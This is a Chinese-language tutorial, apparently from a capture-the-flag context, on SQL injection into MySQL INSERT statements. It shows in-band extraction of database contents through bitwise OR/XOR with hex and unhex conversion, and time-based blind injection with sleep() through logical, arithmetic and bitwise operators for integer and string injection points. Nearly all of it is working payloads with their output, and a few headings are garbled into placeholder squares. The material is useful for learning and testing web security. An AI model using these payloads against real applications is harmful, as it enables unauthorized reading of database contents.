

## 1.有回显注入

int型注入点和字符型都采用按位或|和按位异或^获取数据。

如果拼接的值为0,可以采用按位或|运算显示查询到的数据;如果拼接的值不是0(以100为例),可以采用按位异或^运算显示运算后的数据,然后再异或一次可以恢复查询的

注意查询到的数据经过hex转换,如果值大于Mysql bigint

最大值9223372036854775807时,获取到的数据均为9223372036854775807,此时要用substr等分段获取数据。

#int■■■■■

```
mysql> insert into ctf values (0 | (select hex(database())),'0','test','0');
```

Query OK, 1 row affected, 1 warning (0.03 sec)

```
mysql> select * from ctf;
```

```
+-----+-----+-----+-----+
| userid | username | signature | mood |
+-----+-----+-----+-----+
| 74657374 | 0      | test      | 0     |
+-----+-----+-----+-----+
1 row in set (0.00 sec)
```

```
mysql> select unhex(74657374);
```

```
+-----+
| unhex(74657374) |
+-----+
| test             |
+-----+
1 row in set (0.00 sec)
```

#int■■■■■

```
mysql> insert into ctf values (100 ^ (select hex(database())),'0','test','0');
```

Query OK, 1 row affected, 1 warning (0.03 sec)

```
mysql> select * from ctf;
```

```
+-----+-----+-----+-----+
| userid | username | signature | mood |
+-----+-----+-----+-----+
| 74657338 | 0      | test      | 0     |
+-----+-----+-----+-----+
1 row in set (0.00 sec)
```

```
mysql> select unhex(100^74657338);
```

```
+-----+
| unhex(100^74657338) |
+-----+
| test                 |
+-----+
1 row in set (0.00 sec)
```

#■■■■■■■

```
mysql> insert into ctf values (100 , '0' | (select hex(database())) , 'test', '0');
```

Query OK, 1 row affected (0.02 sec)

```
mysql> select * from ctf;
```

```
+-----+-----+-----+-----+
| userid | username | signature | mood |
+-----+-----+-----+-----+
| 100    | 74657374 | test      | 0     |
+-----+-----+-----+-----+
1 row in set (0.00 sec)
```

```
mysql> select unhex(74657374);
```

```
+-----+
```

```
| unhex(74657374) |
+-----+
| test           |
+-----+
1 row in set (0.00 sec)
```

#■■■■■■■■

```
mysql> insert into ctf values (100 , '100' ^ (select hex(database())) , 'test', '0');
Query OK, 1 row affected (0.03 sec)
```

```
mysql> select * from ctf;
+-----+-----+-----+-----+
| userid | username | signature | mood |
+-----+-----+-----+-----+
| 100 | 74657338 | test | 0 |
+-----+-----+-----+-----+
1 row in set (0.00 sec)
mysql> select unhex('100'^74657338);
+-----+
| unhex('100'^74657338) |
+-----+
| test |
+-----+
1 row in set (0.00 sec)
```

同理可以使用其他可进行逆运算的运算符(+, -, \*, /)获取查询数据,由于逻辑运算后的结果只有1或者0, 所以or, ||, xor, &&, and直接不能用于数据回显的注入情况。

## 2.时间盲注

### int型时间盲注点

可以使用 and, &&, or, ||, xor拼接sql代码。如下可以看出and, &&前面的int值不能为0;or, ||前面的int值不能为1;而xor对前面int的值没有要求, 所以推荐使用xor

```
mysql> insert into ctf values (0 && sleep(2), 'test', 'test', '0');
Query OK, 1 row affected (0.03 sec)
```

```
mysql> insert into ctf values (1 && sleep(2), 'test', 'test', '0');
Query OK, 1 row affected (2.02 sec)
```

```
mysql> insert into ctf values (0 || sleep(2), 'test', 'test', '0');
Query OK, 1 row affected (2.03 sec)
```

```
mysql> insert into ctf values (1 || sleep(2), 'test', 'test', '0');
Query OK, 1 row affected (0.02 sec)
```

```
mysql> insert into ctf values (0 xor sleep(2), 'test', 'test', '0');
Query OK, 1 row affected (2.09 sec)
```

```
mysql> insert into ctf values (1 xor sleep(2), 'test', 'test', '0');
Query OK, 1 row affected (2.01 sec)
```

int型注入点, 也可以使用四则运算: +, -, \*, /。

```
mysql> insert into ctf values (0+sleep(2), 'test', 'test', '0');
Query OK, 1 row affected (2.04 sec)
```

```
mysql> insert into ctf values (0-sleep(2), 'test', 'test', '0');
Query OK, 1 row affected (2.05 sec)
```

```
mysql> insert into ctf values (0*sleep(2), 'test', 'test', '0');
Query OK, 1 row affected (2.03 sec)
```

```
mysql> insert into ctf values (0/sleep(2), 'test', 'test', '0');
Query OK, 1 row affected (2.02 sec)
```

此外还能使用位运算&, |

```
mysql> insert into ctf values (0&sleep(2), 'test', 'test', '0');
Query OK, 1 row affected (2.02 sec)
```

```
mysql> insert into ctf values (0|sleep(2),'test','test','0');
Query OK, 1 row affected (2.02 sec)
```

字符型时间盲注点

可以使用：or,||,xor,+,-,\*,/,|,&,字符型在进行逻辑运算时会当做0,不能使用&&,and。

```
mysql> insert into ctf values (0,'test' and sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (0.03 sec)
```

```
mysql> insert into ctf values (0,'test' && sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (0.03 sec)
```

```
mysql> insert into ctf values (0,'test' || sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.03 sec)
```

```
mysql> insert into ctf values (0,'test'or sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.03 sec)
```

```
mysql> insert into ctf values (0,'test'xor sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.02 sec)
```

```
mysql> insert into ctf values (0,'test'| sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.03 sec)
```

```
mysql> insert into ctf values (0,'test'& sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.03 sec)
```

```
mysql> insert into ctf values (0,'test'+ sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.06 sec)
```

```
mysql> insert into ctf values (0,'test'- sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.02 sec)
```

```
mysql> insert into ctf values (0,'test'* sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.02 sec)
```

```
mysql> insert into ctf values (0,'test'/ sleep(2),'test','0');
Query OK, 1 row affected, 1 warning (2.02 sec)
```

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